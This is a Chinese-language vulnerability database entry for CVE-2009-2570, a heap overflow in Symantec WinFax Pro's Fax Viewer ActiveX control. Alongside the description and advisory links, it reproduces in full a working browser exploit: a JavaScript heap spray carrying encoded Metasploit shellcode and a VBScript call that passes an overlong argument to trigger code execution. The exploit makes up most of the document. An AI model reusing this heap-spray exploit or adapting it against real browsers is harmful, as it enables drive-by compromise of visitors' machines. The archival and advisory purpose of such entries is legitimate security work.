Symantec WinFax Pro DCCFAXVW.DLL堆溢出漏洞

漏洞ID	1117672	漏洞类型	缓冲区溢出
发布时间	2009-04-29	更新时间	2009-07-27
CVE编号	CVE-2009-2570	CNNVD-ID	CNNVD-200907-331
漏洞平台	Windows	CVSS评分	9.3

|漏洞来源

https://www.exploit-db.com/exploits/8562
https://cxsecurity.com/issue/WLB-2009070172
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200907-331

|漏洞详情

WinFaxPro是一款电脑传真软件，基本上可以代替真实的传真机。WinFaxPro的DCCFAXVW.DLL库所提供的SymantecFaxViewer控件(CLSID：{C05A1FBC-1413-11D1-B05F-00805F4945F6}，进程ID：Symantec.FaxViewerControl.1)没有正确地验证用户传送参数。如果用户受骗访问了恶意网页并传送了超长参数的话，就可能触发堆溢出，导致执行任意代码。

|漏洞EXP

<!--
Symantec Fax Viewer Control v10 (DCCFAXVW.DLL) remote buffer overflow exploit (IE7)
by Nine:Situations:Group::trotzkista
site: http://retrogod.altervista.org/

tested against: Symantec WinFax Pro 10.03
                Internet Explorer 7, XP SP3

some details:
CLSID: {C05A1FBC-1413-11D1-B05F-00805F4945F6}
Progid: Symantec.FaxViewerControl.1
Binary Path: C:\Programmi\WinFax\DCCFAXVW.DLL
KillBitted: False
Implements IObjectSafety: False
Safe For Initialization (Registry): True
Safe For Scripting (Registry): True
-->
<html>
<object classid='clsid:C05A1FBC-1413-11D1-B05F-00805F4945F6' id='obj' />
</object>
<script language='javascript'>
// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var scode =      unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");
bigblock  = unescape("%u0c0c%u0c0c");
headersize = 20;
slackspace = headersize+scode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<444;i++){memory[i] = block+scode}
</script>
<script language="vbscript">
obj.AppendFax string(1111,unescape("%0c"))
</script>

# milw0rm.com [2009-04-29]

|参考资料

来源:VUPEN
名称:ADV-2009-1221
链接:http://www.vupen.com/english/advisories/2009/1221
来源:SECTRACK
名称:1022147
链接:http://www.securitytracker.com/id?1022147
来源:BID
名称:34766
链接:http://www.securityfocus.com/bid/34766
来源:BUGTRAQ
名称:20090430Re:SymantecFaxViewerControlv10(DCCFAXVW.DLL)remotebufferoverflowexploit
链接:http://www.securityfocus.com/archive/1/archive/1/503163/100/0/threaded
来源:BUGTRAQ
名称:20090429Re:SymantecFaxViewerControlv10(DCCFAXVW.DLL)remotebufferoverflowexploit
链接:http://www.securityfocus.com/archive/1/archive/1/503086/100/0/threaded
来源:BUGTRAQ
名称:20090429SymantecFaxViewerControlv10(DCCFAXVW.DLL)remotebufferoverflowexploit
链接:http://www.securityfocus.com/archive/1/archive/1/503074/100/0/threaded
来源:SECUNIA
名称:34925
链接:http://secunia.com/advisories/34925
来源:MISC
链接:http://retrogod.altervista.org/9sg_symantec_win_fuck_pro.html
来源:OSVDB
名称:54137
链接:http://osvdb.org/54137

Symantec WinFax Pro DCCFAXVW.DLL堆溢出漏洞

|漏洞来源

|漏洞详情

|漏洞EXP

|参考资料

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